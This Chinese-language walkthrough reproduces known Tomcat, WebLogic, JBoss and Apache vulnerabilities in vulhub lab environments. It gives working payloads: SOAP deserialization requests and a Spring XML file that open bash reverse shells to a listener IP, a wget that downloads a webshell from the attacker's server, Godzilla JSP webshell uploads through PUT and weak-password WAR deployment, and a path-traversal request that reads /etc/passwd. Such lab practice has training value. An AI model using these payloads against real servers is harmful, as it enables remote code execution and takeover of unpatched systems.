1.tomact
CVE-2017-12615
首先启动环境,这里所有的漏洞都是在vulhub中的
然后去访问我们的网站
点击打开哥斯拉去生成一个jsp木马
然后打开抓包,刷新一下页面,修改put方法将我们的木马上传一下,这里需要在jsp后加一个/,来绕过对jsp文件的上传限制
然后去访问一下我们上传的1.jsp
可以看到访问成功,我们去用哥斯拉链接一下
后台弱口令部署war包
这里需要启动tomcat8,我们cd到tomcat8中启动一下环境
然后去访问一下
通过弱口令我们登录到后台,点击managerapp,账号密码都为tomcat
登录好后我们将我们上一关所生成的jsp木马压缩一下,修改一下后缀
点击一下,图示所指向的list,然后就可以在下方上传文件了,将我们的war包上传上去
访问一下我们的war包中的jsp文件
最后使用哥斯拉连接即可
CVE-2020-1938
首先cd到我们的CVE-2020-1938中,然后启动环境
这里我们使用脚本来进行
cmd运行我们的脚本文件,注意这里需要用到python2
运行我们的脚本
python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶场的IP
就可以读取到文件了
2.WebLogic
后台弱口令getshell
首先cd到我们的靶场并启动
cd vulhub-master/weblogic/weak_password
docker-compose up -d
访问一下7001端口,这个页面就是开启成功了
我们访问一下console目录,等一会我们的后台登录页面就启动好了
使用弱口令登录即可








CVE-2017-3506
这个漏洞依旧使用我们上个漏洞开的环境,去访问一下/wls-wsat/CoordinatorPortType,如果存在即有这个漏洞
然后我们就可以构造post请求来反弹shell了,刷新页面然后抓包
然后右键修改请求方法为post方法,这里我们发送到重放器中便于操作
然后添加我们的请求字段同时修改一下请求格式
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/监听机的IP/监听的端口 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
然后开启监听,点击发送即可反弹shell
CVE-2019-2725
这一个漏洞和上一个的步骤都差不多,我们依旧是利用weak_password这个容器
首先我们拼接这个字段/_async/AsyncResponseService来验证一下漏洞是否存在
出现上述页面即为存在,然后和上一个一样,刷新然后开启抓包
修改为POST请求然后发送到重放器,写入我们的请求包,修改类型和上一个一样为text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://服务器IP/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
注意这里,我们需要在我们的服务器上开启http服务,将我们的木马文件改为txt模式,上传到我们的网站中,让他从我们的网站中下载我们的木马文件,并保存为22.jsp
点击发送即可,可以根据这里的完成判断有没有上传成功
然后访问这个路径即可访问到我们的木马文件,然后去哥斯拉连接即可
CVE-2018-2628
首先启动环境
访问一下
这里我们直接利用工具箱
CVE-2018-2894
首先启动环境
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
然后我们需要先获取一下密码,因为这一关的密码是随机生成的
然后使用我们的密码去登录即可
然后进入到后台界面,点击base然后再点击高级
然后勾选这个
然后在IP端口后拼接这个目录
修改箭头所指的位置为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击提交,然后点击安全,点击添加
然后上传我们的木马脚本文件
F12查看一下ID在代码中所对应的值
然后去拼接路径,就可以访问到我们的木马,哥斯拉连接即可
CVE-2020-14882
首先启动环境
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
通过这个连接可以访问管理控制台,但是需要我们登录


/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")
连接两个漏洞
然后就可以构造一个恶意类让他去访问
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb"
class="java.lang.ProcessBuilder"
init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/监听的IP/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过这个让我们的靶场去访问这个实体类从而反弹shell
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启http服务的ip/1.xml")
3.Jboss
CVE-2015-7501
启动环境
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
然后去访问
然后拼接这个地址




curl http://靶场IP/invoker/JMXInvokerServlet --data-binary @exp.ser
CVE-2017-7504
启动环境
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d



CVE-2017-12149
启动环境
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
访问这个地址,如果页面是这个样子即为存在漏洞

Administration Console弱口令
环境沿用上一个
拼接路径去访问一下登录界面


低版本JMX Console未授权
启动环境
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
访问这个
账号密码都是admin,登录之后选择这个
然后开启一个http服务,然后将我们的war包上传到网站根目录,将连接写在value栏
注意这里制作war时需要注意,压缩包的名字必须为英文,且与里面的jsp文件不能同名
然后去访问,然后连接哥斯拉即可
⾼版本JMX Console未授权
启动环境
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
访问这个路径
账号密码admin vulhub,点击这两个地方
然后在这里,和上一关一样,上传我们服务器的war包
然后访问,哥斯拉连接即可
4.Apache
CVE-2021-41773
这一关需要我们拉取环境
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
然后用命令即可查看网站上的文件
curl http://靶场IP/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd